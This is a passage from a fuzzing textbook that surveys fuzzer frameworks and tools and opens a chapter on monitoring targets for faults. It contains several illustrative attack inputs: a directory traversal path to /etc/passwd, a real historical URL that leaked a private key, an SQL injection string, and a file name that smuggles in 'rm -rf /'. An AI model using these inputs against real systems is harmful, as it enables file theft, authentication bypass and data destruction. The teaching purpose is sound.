sufficiently complex fuzzer must be capable of doing: 146 Building and Classifying Fuzzers • Print binary and ASCII data. • Contain a library of anomalies to use. • Compute checksums. • Associate data as lengths of other data. • Send test cases. • Monitor the process. Fuzzing frameworks provide these tools to users to free them to work on describ- ing the actual protocol. 5.2.2.1 Peach Again, one example of a fuzzing framework is Peach. Peach is a cross-platform fuzzing framework written in Python. Peach’s main attributes include short devel- opment time, code reuse, ease of use, and flexibility. Peach can fuzz just about any- thing, including .NET, COM/ActiveX, SQL, shared libraries/DLLs, network applications, web, etc.21 Let’s contrive a simple example. Suppose one wants to fuzz the password field of some protocol. The following code is a very simplistic way to begin: group = Group() gen = Block([ Static('USERNAME: BOB'), Static('PASSWORD: '), Repeater(group, Static('B'), 2, 3), Static('\r\n'), ]) while True: print gen.getValue() group.next(); Static() is used to create a fixed string within a Block(). The repeater function is useful for building iteratively longer strings. The group and generation routines are useful for organizing data into increasingly complex patterns. The sample output from the above code would print:22 USERNAME: BOB PASSWORD: BBBBBB USERNAME: BOB PASSWORD: BBBBBBBBBBBB 5.2 Detailed View of Fuzzer Types 147 21See the website for more details. From http://peachfuzz.sourceforge.net 22Instead of printing, an actual fuzzing would deliver this output to some application. USERNAME: BOB PASSWORD: BBBBBBBBBBBBBBBBBB 5.2.2.2 Fuzzled New fuzzers and frameworks are being released all the time. Tim Brown released a perl fuzzing framework he calls Fuzzled (version 1.0), which is similar to Peach in that helper functions allow a wide variety of fuzzing tools to be developed. Fuzzled contains code that helps with various heuristics, construction of particular proto- cols, and other functions. In particular, it has support for NNTP, SMTP, IMAP, and others. 5.2.3 Protocol-Specific Fuzzers A full-blown protocol-specific fuzzer can be engineered for any given protocol or application. It takes effort (and a lot of RFC reading), but the reward is strong code coverage, which will likely lead to more discovered bugs. Typically, protocol fuzzers are developed for a particular protocol (SIP, HTTP, LDAP, etc.) and not a particular code base (openssh, apache, etc.). This makes them particularly useful for baselining or performing cross-vendor auditing of particular implementations of a given protocol. Automated result recording and reporting is ideal to mature the testing process. Much work has been done on protocol-specific, generation-based fuzzers. Specifically, the Oulu University Secure Programming Group (OUSPG) has created a tool called the Mini-Simulation Toolkit (PROTOS).23 They used a context-free grammar to represent the protocol (language) and build anomalous test cases. The PROTOS project has been responsible for some of the most widely publicized pro- tocol vulnerability disclosures in recent years, including SNMP, LDAP, and SIP. For vendor evaluations of IP applications, PROTOS has been good for creating a base- line tool: Specific implementations of a protocol that are found to have flaws don’t pass, and those that are bug free pass the test. They admit that this approach is likely to have a pesticide effect: Widespread use of the tool will result in vendors fixing the specific types of bugs the tool is programmed to look for. Therefore, it will become less effective as the tool is run and bugs are repaired; shared knowledge (code and techniques) becomes more and more immune to the tool. But this will happen to every bug-finding tool that doesn’t employ randomness or isn’t updated. Internet- working solutions have become more secure because of the work OUSPG has done. 5.2.3.1 ikefuzz For a simple example of a home-grown protocol-specific fuzzer, consider ikefuzz.24 This tool was created a few years ago to test the ISAKMP protocol. The primary 148 Building and Classifying Fuzzers 23Rauli Kaksonen, “A Functional Method for Assessing Protocol Implementation Security,” Technical Research Centre of Finland, VTT Publications. www.ee.oulu.fi/research/ouspg/protos/ analysis/WP2000-robustness 24Can be downloaded from www.vdalabs.com/resources reason for this is because IKE is loaded with cryptographic routines. This fuzzer will test this specific protocol, but nothing else. 5.2.3.2 FTPfuzz FTPfuzz is a protocol-specific fuzzer that is designed to fuzz FTP servers. It under- stands the protocol and can actively talk to FTP servers and determine which commands it accepts. It is managed by a Windows GUI application, which makes it particularly friendly to use. Furthermore, the heuristics used can be selected by the user from within the GUI interface. 5.2.4 Generic Fuzzers A generic fuzzer is one that can be utilized to test multiple interfaces or applica- tions. For example, a file fuzzer that flips bits in any file type might be thought of as generic, since it can flip bits in arbitrary file types to be consumed by a variety of applications. However, such a fuzzer would be nonintelligent because it blindly makes changes with no knowledge of the underlying files structure. A file fuzzer might still be generic and receive as an initialization parameter a partial or full description of the file type to be fuzzed; this would increase its intelligence. The file fuzzer would be a one-off or protocol-specific tool if it can only fuzz files of one type. 5.2.4.1 ProxyFuzz Another example of a generic fuzzer is ProxyFuzz. This fuzzer, written in Python, acts as a man in the middle proxy and randomly makes changes to packets as they pass through it. It doesn’t understand anything about the underlying proto- col, it is completely unintelligent. It can be used to fuzz the server side of the com- munication, the client side, or both. It can also handle either TCP or UDP data. The advantage of using a simple fuzzer like ProxyFuzz is that it can be set up in a matter of minutes and can find quite a few bugs. Obviously, it will not perform well against protocols that utilize checksums or challenge responses. The com- mand line usage statement reveals exactly how simple this fuzzer actual is. It looks like python proxyfuzz -l <localport> -r <remotehost> -p <remoteport> [options] [options] -c: Fuzz only client side (both otherwise) -s: Fuzz only server side (both otherwise) -w: Number of requests to send before start fuzzing -u: UDP protocol (otherwise TCP is used) -v: Verbose (outputs network traffic) -h: Help page 5.2 Detailed View of Fuzzer Types 149 5.2.4.2 FileFuzz FileFuzz is a graphical Windows-based fuzzer written by Michael Sutton when he worked for iDefense Labs. The GUI allows for the creation of fuzzed files and a way to execute and monitor the application. During the creation phase, portions of the initial valid file can be provided and the types of changes to those bytes can be spec- ified. For example, all bytes, one group at a time, in a file can quickly be replaced with the value 0xFF. Then, these files are launched in a specified application as the command line argument. Additionally, FileFuzz comes with a monitoring tool called crashme.exe. When FileFuzz actually launches the application, it launches it by first calling crashme, which attaches to the target as a debugger and monitors it for faults. The GUI displays the progress as each fuzzed file is launched, record- ing any crashes that it discovers. 5.2.5 Capture-Replay Most mutation or capture-replay fuzzers are generic. They operate by obtaining a known good communication (a file, network sniff, typical arguments to a function, etc), modifying it, and repeatedly delivering it to the target. The goal is to quickly fuzz a new or unknown protocol; the capture provides a sort of partial interface definition. One good thing about this approach is that if the protocol doesn’t oper- ate in a manner consistent with the RFC, it is not a problem for mutation based fuzzers since they don’t understand the RFC. If the capture includes this undocu- mented capability, a mutation-based fuzzer will fuzz it, while a generation-based fuzzer might miss the undocumented feature. As in generic fuzzers, many mutation fuzzers can be tuned to a particular protocol, increasing its protocol awareness and consequent code coverage. Mutation fuzzers that record results during run-time will mature the testing process. 5.2.5.1 Autodafé One generic capture-replay tool is known as Autodafé. Autodafé employs grey-box techniques. The tool was created by Martin Vuagnoux25 and can be downloaded from http://autodafe.sourceforge.net/. Helpful tutorials can also be found at this URL. Autodafé includes automatic protocol detection with manual updating avail- able, a large list of attack strings, and an incorporated debugger to dynamically place weights on areas of target code that utilize external data in dangerous func- tions. Multiplying the number of attack strings by the number of variables to fuzz yields the complexity. By minimizing and ordering the tests, the overall runtime is decreased. In the fuzzing field, Vuagnoux is probably the first to calculate such a metric, even though they are simple. There is an excellent tutorial online at http:// 150 Building and Classifying Fuzzers 25Martin Vuagnoux, “Autodafé: an Act of Software Torture,” 22nd Chaos Communication Con- gress, Dec. 2005 (http://events.ccc.de/congress/2005/fahrplan/events/606.en.html). http://autodafe .sourceforge.net 5.2 Detailed View of Fuzzer Types 151 (Text resumes on page 156) autodafe.sourceforge.net/tutorial/index.html, which we highly recommend you examine if you’re considering fuzzing Unix applications. 5.2.5.2 The Art of Fuzzing (TAOF) TAOF26 is a fuzzer that builds upon the work of many others. This tool operates by capturing a proxied session and replaying with mutated traffic. TAOF is a GUI cross-platform Python generic network protocol fuzzer. It has been designed for minimizing setup time during fuzzing sessions, and it is especially useful for fast testing of proprietary or undocumented protocols.27 Here are some self- explanatory screen shots from the website (Figures 5.1 to 5.5): TAOF allows the user to decompose the captured packets according to the pro- tocol specification. In this way TAOF can more intelligently add anomalies to the captured exchange and hopefully find more bugs. 5.2.5.3 Ioctlizer Ioctlizer28 is a two-part tool, written by Justin Seitz, that learns how a user mode process utilizes IOCTLs to communicate with device drivers. From the test cases that are trapped, it will fuzz the actual device. As a quick overview, an IOCTL (pro- nounced i-oc-tel), is part of the user-to-kernel interface of a conventional operating system. Short for “input/output control,” IOCTLs are typically employed to allow user space code to communicate with hardware devices. Ioctlizer is a generic IOCTL mutation (capture-replay) tool. As such, it suffers and excels in the same way that all capture-replay tools do. This is also an example of a one-off, because it was a quick tool designed only to fuzz IOCTLs. Mr. Seitz is working on a more advanced tool that will enumerate all of the IOCTLS IDs via an Immunity Debugger plug-in. Figures 5.6 to 5.11 show an example of how one might use this tool: In this case, the Windows calculator application (calc.exe) did not access an IOCTL. The wireshark program did, but no errors were found. This is likely due to three things: 1. There are no bugs to be found (probably not the case here). 2. Ten iterations were not enough to find the bug. 3. Wireshark did not access all possible IOCTLs in the limited amount of time observed (most likely). Thus, we see the primary weakness of mutation based systems in action here. 26http://sourceforge.net/projects/taof 27 www.theartoffuzzing.com/joomla/index.php?option=com_content&task=view&id=16&Itemid= 35 28http://code.google.com/p/ioctlizer/ 152 Building and Classifying Fuzzers Figure 5.1 Setting fuzzing points. Figure 5.2 Starting fuzzing session. 5.2 Detailed View of Fuzzer Types 153 Figure 5.3 Adding fuzzing points. 154 Building and Classifying Fuzzers Figure 5.4 TAOF shows a list of retrieved requests. Figure 5.7 Output from ioctltrap.py. Figure 5.6 Choosing the application to fuzz. 5.2 Detailed View of Fuzzer Types 155 Figure 5.5 Network forwarding settings for data retrieval. 5.2.5.4 The General Purpose Fuzzer (GPF) Another open-source generic mutation tool for download is called the General Pur- pose Fuzzer (GPF). The typical use is performed in the following manner: 1. Capture the network traffic to be fuzzed. a. Be sure to save only the traffic you want by using an ethereal or wire- shark filter. b. Typically, this capture will be converted from the pcap format to the .gpf format via a command like: ./GPF –C imap.cap imap.gpf c. Optionally, a .gpf “capture” file can easily be defined by hand. For example, the file prelogin.gpf in the directory /GPF/bin/imap was cre- ated entirely by hand and was useful for finding (prelogin imap) bugs. The file looks like: 156 Building and Classifying Fuzzers Figure 5.9 Trapped IOCTLs observed by the wireshark application. Figure 5.8 This happens when no valid IOCTL calls were observed. Figure 5.10 Preparing to fuzz the wireshark IOCTLs. 5.2 Detailed View of Fuzzer Types 157 Figure 5.11 Finished auditing the wireshark IOCTLs. Source:S Size:0021 Data:* OK Dovecot ready. Source:C Size:0020 Data:02 LOGIN jared {5} Source:S Size:0005 Data:02 Source:C Size:0007 Data:jared Source:S Size:0005 Data:02 Source:C Size:0015 Data:03 CAPABILITY Source:S Size:0005 Data:02 Source:C Size:0023 Data:04 AUTHENTICATE PLAIN Source:S Size:0004 Data:+ Source:C Size:0026 Data:amFykjdAamFyZWQAamFyZWQ= Source:S Size:0018 Data:04 OK Logged in. Source:C Size:0030 Data:05 NOOP 04 LOGIN jared jared Source:S Size:0005 Data:05 Source:C Size:0022 Data:06 LOGIN jared jared Source:S Size:0005 Data:06 Source:C Size:0013 Data:07 STARTTLS Source:S Size:0005 Data:07 Source:C Size:0011 Data:08 LOGOUT The Source indicates which direction this communication originated from—S is server and C is client. At fuzz time these can easily be flipped by running GPF in the opposite mode than the capture was originally made. It will then send “02 LOGIN jared {5},” and so on. The Size indi- cates the amount of data. This allows for binary data to also be easily represented in a .gpf file. Everything of Size length following the Data tag is the data for this leg. A leg is one read or write communication of an entire session. 2. Choose an attack type. a. The –R simply sends random data to an IP/PORT. This is only good for fuzzing the first “layer” of a protocol. It’s very naive/dumb, but has found bugs. b. The original GPF mode has four submodes: replay, buffer overflow, format, and logic. Replay will simply replay the capture. This is useful for demonstrating an already discovered bug, or for validating a cap- ture. The buffer overflow submode inserts long strings at places of your choosing, and the format attack mode inserts format string char- acters (such as %n) in a similar manner. The logic mode is focused on bit flipping c. The –P or pattern matching mode is the most popular GPF mode. It automates the best of the above attack types. Each time the capture is replayed, attacks of all types are inserted in random positions based on the token type. Also, and very effectively, a reordering of the cap- ture file can occur. The –P command line requires us to supply a tok- enizing routine that helps GPF break up the capture file. In this case IMAP is a normal_ascii protocol. Consider the execution of GPF against IMAP: ../GPF -P prelogin.gpf client 192.168.31.101 143 ? TCP 11223456 10000 2 auto none short normal_ascii quit Before GPF begins fuzzing, the tokenizing output will look something like this: Tokenizing Captured Protocol: Tok[1][0]: type= ASCII_CMD, dataLen=2, currentTotal=2, data="02" Tok[1][1]: type= ASCII_SPACE, dataLen=1, currentTotal=3, data=" " Tok[1][2]: type= ASCII_CMDVAR, dataLen=5, currentTotal=8, data="LOGIN" Tok[1][3]: type= ASCII_SPACE, dataLen=1, currentTotal=9, data=" " Tok[1][4]: type= ASCII_CMDVAR, dataLen=5, currentTotal=14, data="jared" Tok[1][5]: type= ASCII_SPACE, dataLen=1, currentTotal=15, data=" " Tok[1][6]: type= ASCII_CMDVAR, dataLen=3, currentTotal=18, data="{5}" Tok[1][7]: type= ASCII_END, dataLen=2, currentTotal=20, data="\x0d\x0a" Tok[3][0]: type= ASCII_CMD, dataLen=5, currentTotal=5, data="jared" Tok[3][1]: type= ASCII_END, dataLen=2, currentTotal=7, data="\x0d\x0a" 158 Building and Classifying Fuzzers 5.2 Detailed View of Fuzzer Types 159 Tok[5][0]: type= ASCII_CMD, dataLen=2, currentTotal=2, data="03" Tok[5][1]: type= ASCII_SPACE, dataLen=1, currentTotal=3, data=" " Tok[5][2]: type= ASCII_CMDVAR, dataLen=10, currentTotal=13, data="CAPABILITY" Tok[5][3]: type= ASCII_END, dataLen=2, currentTotal=15, data="\x0d\x0a" Each piece of data, now called a token, is assigned a type. Note that GPF didn’t attempt to tokenize the server data, because this will simply be read in by GPF and generally not acted upon. Each token is fuzzed according to its own heuristics. For example, an ASCII_END might be reordered (\x0a\x0d), replaced by a null, or left off. ASCII_CMDs aren’t fuzzed as often because parsing mistakes tend to be in CMDVARs. See the GPF source code for a complete description of the many heuristics. d. The –E mode is the newest: the Evolutionary Fuzzing System. EFS will be detailed in Chapter 7. 5.2.6 Next-Generation Fuzzing Frameworks: Sulley Sulley is a new fuzzing framework that is a cross between Spike, Autodafé, and PaiMei. The tester defines a protocol file that describes the protocol and the meth- ods by which they will be fuzzed in the “request” description file. This protocol description information could come from a network capture, by reading the proto- col RFC, or both. That information is used in a “session” file that initializes the logging and begins the transfer of fuzzed sessions, which are described by “request” files. Sulley is the most complete open source fuzzing framework, but it does not come “loaded” with any real out-of-the-box protocol descriptions. In other words, it is great help in writing fuzzers but can’t fuzz anything by itself. Sulley includes target health monitoring and reset capability, network logging, fault detection and categorization, postmortem analysis, and more. Sulley is fully described in the book Fuzzing: Brute Force Vulnerability Discovery by Michael Sutton, Adam Greene, and Pedrum Amini or online at www.fuzzing.org. Sulley contains the fullest featured syntax to describe protocols. As an example of how to write such a specification, we provide a description of the TLS protocol. TLS is commonly known as SSL and is most often used to secure web traffic for e- commerce applications. This first snippet is the session code named fuzz_tls.py (Fig- ure 5.12): Figure 5.13 shows the implementation of the requests. As a quick overview, the TLS handshake protocol goes like this: client_hello Æ ¨ server_hello_certificate ¨ server_key_exchange client_key_exchange_change_cipher_finish Æ ¨ server_change_cipher_finish 160 Building and Classifying Fuzzers Figure 5.12 fuzz_tls.py. Figure 5.13 The Sulley request for a TLS Client hello message. If it is desirable to fuzz the server, really only two messages (requests) are important: the client_hello and the client_key_exchange. There could be others based on specific implementations. Additionally, it might be wise to fuzz SSL clients (web browsers in many cases). The session file (called fuzz_tls.py) calls the two requests of interest. Both of these requests (and the session file) had to be created from scratch. Thus, you see the weakness of intelligent fuzzing: understanding TLS, being proficient with Sulley, and doing the leg work to implement specific requests is nontrivial. By contrast, setting up ProxyFuzz would only take a few moments, but fewer bugs would likely be found. Implementing the second request is left as an exercise to the reader. Again, for a detailed explanation of Sulley sytnax, see www.fuzzing.org/wp-content/SulleyManual.pdf or www.fuzzing.org/wp-content/ Amini-Portnoy-BHUS07.zip. 5.2.7 In-Memory Fuzzing In-memory fuzzing is substantially different from the other types of fuzzing dis- cussed throughout this chapter. One of the major advantages of fuzzing over source code auditing and reverse engineering is that fuzzing finds “real” bugs by exercis- ing accessible interfaces. In static analysis, a dangerous function may be identified, but after further investigation it might be found to be inaccessible via available user interfaces or the data is filtered in some manner. With in-memory fuzzing, this same false positive scenario can arise, as will be shown via further explanation. In-memory fuzzing involves modifying arguments, in memory, before they are consumed by internal program functions. This fuzzing technique is more suited to closed source applications, in which individual test harnesses cannot be easily con- structed due to lack of source code. The targeted functions may or may not be reachable via user input. As we’ve discussed, only a small subset of program functions are employed to handle user input. Thus, in-memory fuzzing will likely require the services of an experienced reverse engineer who can identify the start and stop locations of parsing routines to be fuzzed. For a network server, hooking the application just after a recv() call could be a good choice. 5.2 Detailed View of Fuzzer Types 161 Figure 5.13 Continued In-memory fuzzing is further complicated by the fact that the elements being fuzzed are not files or packets, but rather, function parameters. This means that the state of the program under test needs to be reset for each iteration of the fuction. There are tools available such as PyDbg that can save and restore state. Should the time be taken to implement the above system, there are a few dis- tinct advantages. Consider a closed source application with a complicated encryp- tion scheme handled over multiple network handshake packets. Normally, this protocol would have to be reverse engineered to create an intelligent fuzzer. A mutation-based approach (flipping bits) would not fuzz the underlying data, but only the decryption functions. With in-memory fuzzing, all or some of the func- tions after the recv() function can be fuzzed in memory without understanding how the encryption works.29 In this way, the actual underlying data being parsed can be fuzzed directly. Also, consider a network server that has a very slow client-server protocol. A speed increase could be realized via in-memory fuzzing in this case. 5.3 Fuzzer Classification via Interface Fuzzers could also be classified according to the interface they’re intended to test. The following sections point out how a fuzzer could be used or constructed based on particular interfaces. 5.3.1 Local Program The classic example of local program fuzzing is finding a Unix SUID program and fuzzing it. Any flaw in it may be used to elevate the privileges of an attacker. Typ- ically, local fuzzers fuzz command line arguments, environment variables, and any other exposed interfaces. A good example of such a fuzzer is Sharefuzz. Other examples of fuzzing a local program is hooking an application running on the test computer with a debugger and fuzzing functions in memory. File fuzzing is another example of local program testing (although this is often to find remote, client-side vulnerabilities). Testing IPC or local socket programs could be consid- ered local. This is really a catch-all category. 5.3.2 Network Interfaces Testing IP protocols was once the dominant application of fuzzers. It is perhaps the most critical use of fuzzing due to the consequences of a remote security breach by a hacker. This particular type of fuzzer is likely what you think of when you think of fuzzing. At its core, it involves sending semi-valid application packets to the server or client. As we discussed, there are many different ways to generate the test cases. Examples of this type of fuzzer include GPF and TAOF. 162 Building and Classifying Fuzzers 29Going back to the IKE example, this may be a way to fuzz IKE without building a generation fuzzer. 5.3.3 Files File fuzzing involves repeatedly delivering semi-valid files to the application that consumes those files. These files may consist of audio files, video files, word pro- cessing, or in general, any file that an application might parse. Again, there are a variety of ways to generate these files, depending on the domain-specific knowledge known for the file and the amount of time or effort available. Below is a simple Java program that performs non-intelligent file fuzzing:30 import java.io.*; import java.security.SecureRandom; import java.util.Random; public class Fuzzer { private Random random = new SecureRandom();31 private int count = 1; public File fuzz(File in, int start, int length) throws IOException { byte[] data = new byte[(int) in.length()]; DataInputStream din = new DataInputStream(new FileInputStream(in)); din.readFully(data); fuzz(data, start, length); String name = "fuzz_" + count + "_" + in.getName(); File fout = new File(name); FileOutputStream out = new FileOutputStream(fout); out.write(data); out.close(); din.close(); count++; return fout; } // Modifies byte array in place public void fuzz(byte[] in, int start, int length) { byte[] fuzz = new byte[length]; random.nextBytes(fuzz); System.arraycopy(fuzz, 0, in, start, fuzz.length); } } 5.3 Fuzzer Classification via Interface 163 30Elliotte Harold, “Fuzz Testing: Attack Your Programs Before Someone Else Does,” www-128 .ibm.com/developerworks/java/library/j-fuzztest.html 31SecureRandom() might not be the best choice: If you use Random with a seed, you will be able to reproduce the tests. Other well known file fuzzers include FileFuzz, SPIKEfile, notSPIKEfile, and the file fuzz PaiMei module. 5.3.4 APIs An application programmer interface is a software description of how a certain function is called. For example, in C, the definition of a function void myfunc(int, int, char); would be the API, or prototype, to that function. The function returns nothing, but accepts two integers and a character as parameters. API fuzzing involves supplying unexpected parameters when this function is called. This could be done with or without source code. If source code is not available, pre-analysis of the function or basic block would be required. A reverse engineering tool such as IDA Pro could be used to quickly determine the parameters to internal functions. Gray-box (requires debugger) API fuzzing would likely be carried out by security auditors, while white-box (requires UNIT strap or instrumentation) API fuzzing would likely be performed by QA professionals. Examples of API fuzzers include COMRaider, (a COM object fuzzer) and AxMan, (an ActiveX fuzzer). 5.3.5 Web Fuzzing For the most part “web fuzzing” is a misnomer. It certainly is possible to fuzz the HTTP protocol, just as it is any other protocol. Web testing receives extra attention because HTTP/HTTPS traffic is the most common Internet traffic. Often, though, when people refer to web fuzzing, what they really mean is automated web audit- ing. This consists of submitting various semi-valid data to various form fields of web applications and “spidering” the application to discover all the valid pages, URLs, and inputs. The open source projects Pantera and Spike Proxy are both examples of web application fuzzers. WebInspect and AppScan are two well-known commercial web application fuzzers. 5.3.6 Client-Side Fuzzers Some of us may recall the month of browser bugs posted by H.D. Moore.32 How did this happen? A new browser bug posted everyday for an entire month! This was a result of three primary factors: • Browsers are terribly complex, including things like Java Virtual Machines. • Client-side testing had not been considered important in the past. • H.D. was the first one in. Fuzzing is particularly effective against mostly untested interfaces. The first to fuzz will find the bulk of bugs. This makes sense. The same is true for the first round of rough testing done by develop- ers in a traditional setting. Client-side testing simply indicates that it’s not the server under test but the client. This had not been done much in the past because hackers normally like to 164 Building and Classifying Fuzzers 32MoBBs. http://browserfun.blogspot.com/2006/07/welcome-to-browser-fun-blog.html find exploits that allow the attacker to actively attack a server. Server bugs are best for this type of active exploitation. As server code has gotten better over the years, new avenues of pwning (hacker lingo for exploiting) boxes was required. It was dis- covered that setting up a bogus website that would send illegitimate connections back to weak browsers was one such avenue. Let this be a lesson: Clients are as important as servers. If you disagree, don’t test your client, but don’t complain when your product is in the news for being hacked. Some well-known client-side fuzzers include MangleMe, (an HTML fuzzer) and jsfunfuzz, (a JavaScript fuzzer). 5.3.7 Layer 2 Through 7 Fuzzing OSI (Open Systems Interconnection) is a standard description for how messages should be transmitted between any two points on a network. Seven layers are used: • Layer 7: Application layer; • Layer 6: Presentation layer; • Layer 5: Session layer; • Layer 4: Transport layer; • Layer 3: Network layer; • Layer 2: Data Link layer; • Layer 1: Physical layer. Any of the layers could be fuzzed, but for example, sending random voltages to the physical layer would just prove what we already know—it’ll fry it if you crank up the juice. However, all the other layers include data that must be processed and could lead to vulnerabilities if not done correctly. Just recently the wireless data link layer has been a popular test subject and led to a controversial Mac OS X vul- nerability, by Maynor and Ellch. Layer 3 (the network layer) of the networking stack is the IP header. A tool was written years ago by Mike Frantzen called IP Stack Integrity Checker (ISIC), which was surprisingly good at causing kernel panics in all types of Unix systems. The idea is the same as all fuzzing: Create a mostly valid IP header but either random- ize a few fields or purposely pick known bad values. The IP stack on Microsoft’s Vista platform is of particular interest lately for two reasons: 1. Vista user land applications are fairly secure these days, but kernel bugs could prove more damaging. 2. The IP stack was totally rewritten for Vista. New code is fertile ground for fuzzing. Additionally, there are commercial entities out there focused on writing layer 3 fuzzing for SCADA33 and industrial platforms that have received relatively little testing from the security community.34 5.3 Fuzzer Classification via Interface 165 33http://en.wikipedia.org/wiki/SCADA, accessed on 12/28/07. 34Digital Bond is one such company: www.digitalbond.com/index.php/2007/03/13/achilles- controller-certification-part-1-of-4 5.4 Summary Bug detection tools known as fuzzers are a useful part of software testing and vul- nerability analysis. The best fuzzers of today are built by experienced vulnerability analysts and testers and employ the power of automatic protocol descriptions, ran- domness, known useful heuristics, tracing, debugging, logging, and more. This chapter has shown that many fuzzer types exist. At their core, they are all very similar: Deliver semi-invalid data and report on results. However, the vehicle by which the data is delivered to the test target is important if real results are desired. Only the imagination limits the number of fuzzer categories and types, but we have tried to give examples of the inner workings of the prevalent options. Understand- ing the internal operation of a given fuzzer is important for many reasons. Interpret- ing expected and actual results would be one reason. Another is that in Chapter 8 we will compare and contrast commercial options with open source options. For this to be possible we require an understanding of the various tool types. 166 Building and Classifying Fuzzers C H A P T E R 6 Target Monitoring You’ve spent significant time analyzing the source and deriving high-quality fuzzed inputs to test the target system. You’ve faithfully sent these inputs to the target. Now what? Almost as important as the generation of inputs in the process of fuzzing is the way in which the target is monitored. After all, if you can’t tell when an input has caused a problem, it doesn’t do any good to have created and sent it! As we’ll see in this chapter, there are a number of options when it comes to target monitoring, some relatively basic and others that are quite complex and intrusive to the target, but that may find vulnerabilities missed by less-detailed monitoring techniques. 6.1 What Can Go Wrong and What Does It Look Like? Before we can discuss how to properly monitor a system, we must first examine what can go wrong with the target. Once we understand the issues that can arise, we can better understand how to detect these problems. Since we already discussed this earlier in the book, we will review this quickly. 6.1.1 Denial of Service (DoS) One common security problem found in systems is that of a denial of service con- dition. This means that the functionality provided by the system is no longer avail- able to the intended user or this functionality is only available at a degraded capacity. This may mean the entire system is unusable, requires administration, reboots, and so on. It may simply mean that an application is no longer available or that so many resources of the system are being used and the performance of the system is so severely degraded that users cannot utilize the service. Denial of service problems are relatively easy to detect. The service can be peri- odically checked to make sure it functions as intended in a timely manner. Like- wise, on the target, system resources can be monitored and alerts can be generated if they exceed some threshold. One caveat is that oftentimes a denial of service con- dition is transient. That is, the condition may only be temporary, and the system may restore itself to full capacity after a short delay. One example of this would be an input that forced a system to reboot. Only during the time required for the actual reboot would the system be unavailable, but this is still a very critical issue. The point is that the availability of the service needs to be checked frequently to avoid missing such a situation. 167 6.1.2 File System–Related Problems There are many security issues related to the interaction of an application and its file system. One common scenario is that of a directory transversal attack. In this scenario, the application is intended to provide access for a user to a file from the file system. The files allowed to be opened reside in a particular directory. However, in some scenarios, an attacker may be able to break out of this directory and view arbitrary files on the system (with the permissions of the application). For example, the attacker may request to view the file “../../../../../etc/passwd.” If the application does not properly filter these directory transversal characters, arbitrary files may be accessible, in this case the passwd file. Other file system–related problems include injecting NULL characters into requested filenames and problems creating pre- dictable temporary file names. An example of the first two problems was demonstrated when an Adobe web application revealed its private key when the following URL was requested1: www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=../../../../.. /../../../..//usr/local/apache/conf/ssl.key/www.adobe.com.key%00 The application was vulnerable to a directory transversal problem and did not check for the embedded NULL (otherwise it would only request documents with a particular suffix). These types of problems can be found by monitoring applications to see which files they attempt to open and which ones they are successful in opening. This list of files can be compared to rules that govern which files should be accessed by the application. Any files opened that should not be allowed should be noted. 6.1.3 Metadata Injection Vulnerabilities Another broad class of problems involves the injection of metadata into a process. This can take many forms. The most common is called SQL injection. In this vul- nerability, the application makes a request to a back-end SQL server. For example, the attacker may supply “charlie’ or 1=1--” as a username variable to an applica- tion. If the supplied metadata (in this case the apostrophe) is interpreted as SQL, this could lead to bypassing the authentication of the application since the condi- tion “1=1” is always true. Besides this example, SQL injection can be used to mod- ify and destroy the database, access sensitive stored data, and even run remote code. SQL injection is just one example of the injection of metadata. Other examples including carriage return characters in HTTP requests, XML characters in XML data, LDAP characters in LDAP data, and so on. One final example is a class of vul- nerabilities known as command line injection vulnerabilities. Consider an applica- tion that contains the following line of source code; snprintf(command, sizeof(command), "unzip %s", user_supplied_filename); system(command); 168 Target Monitoring 1www.theregister.co.uk/2007/09/27/adobe_website_leak/ These lines are intended to execute the “unzip” command on a user supplied file name. However, the system function does this by forking and executing this command in a shell. The shell has many metacharacters such as ;, |, >, etc. In this case, if the user-supplied data is not properly filtered, an attacker could ask to have the following file “a;rm -rf /” unzipped, which would result in the following com- mand being passed to the shell unzip a; rm -rf / Obviously, this could lead to a problem. It can be difficult to detect the meta data injection type of vulnerability. In the SQL injection example, a monitor could look for certain types of errors being returned by the server. The command injection example could be detected by monitoring the child processes of the target process. A more sophisticated monitor would know which metadata the fuzzer was currently injecting and then look for its use by the target application. This might involve monitoring interprocess communication or debugging the target (or an associated process). 6.1.4 Memory-Related Vulnerabilities The plague of computer security for the last 10 years has been the buffer overflow. This common vulnerability has given rise to a flood of different worms and exploits. At its core, a buffer overflow is an example of a broader class of memory- related vulnerabilities. There are basically two types of memory-related problems that can arise. The first is when the program allows memory reads that should not be permitted. This can allow an attacker to read private information from the appli- cation, including passwords, private keys, and other sensitive application data. Additionally, metadata from the memory layout may be accessed. This information may allow an attacker to better understand the layout of memory in the target application, which may then allow exploitation (perhaps with a different vulnera- bility) of a vulnerability that is otherwise difficult to exploit. The other type of memory issue is when an application allows memory to be written where it should not be allowed. This is typically the worse of the two as it actually allows for memory corruption. In its most simple form, it may allow for the change of application data, which may force authentication to wrongfully succeed. Typically, this ability to write data into memory is used by an attacker to change the flow of execution and run code supplied by the attacker, what is known as “arbi- trary code execution.” The most trivial example of this is in the case of a stack buffer overflow. In this scenario, a local buffer on the stack is overflowed with data by an attacker. Near this stack buffer is metadata used by the process including the return address for the current function. If this return address is overwritten with attacker-supplied data, when the function returns, the attacker can control where code execution will continue. In more complex examples, such as heap overflows or wild pointer writes, other data may be overwritten, but the result is often the same—that the attacker can get control of the execution flow. As you’ve probably guessed, it is much harder to determine when memory cor- ruption has occurred. Otherwise, the spread of worms and exploits would be 6.1 What Can Go Wrong and What Does It Look Like? 169 stopped. The problem is, applications typically read and write memory very fre- quently and in mostly unpredictable ways. In a best (or worst) case scenario, memory corruption will result in a program crash. This is easy to detect with either a debugger or just by the availability of the application. However, this is not always the case. Consider the case of a buffer overflow. The reason a program crashes when a buffer is overflown is that other data, perhaps application data, perhaps metadata, is corrupted. But, it is easy to imagine a situation in which a buffer is over- flown by just a few bytes. Perhaps those few bytes are not used again or not in a dangerous way. Perhaps different inputs would have caused more bytes to be over- flown, which would lead to serious security problems. Either way, this can be very difficult to detect if it does not cause a crash. There are ways, as we’ll see later, but they all involve monitoring the way the program allocates, deallocates, and accesses memory. At the very least, such intrusive methods will greatly slow down an appli- cation, which can be a major issue when thousands of inputs need to be tested. 6.2 Methods of Monitoring We discussed some of the different types of problems that can arise in a target sys- tem and suggested some ideas on how we might monitor the target for them. The types of monitoring that can be done will be highly dependent on the system being fuzzed. Remember that fuzzing can be used for any system that accepts user input, including applications, network devices, wireless receivers, cell phones, microchips, even toasters. Clearly, the types of monitoring used on a program compiled from C code running on Windows will be different than that of a Juniper router or a web application written in Perl. That being said, we try to present solutions that would work for all these situations and focus in on compiled applications where things can get most interesting. In the next few sections, we go 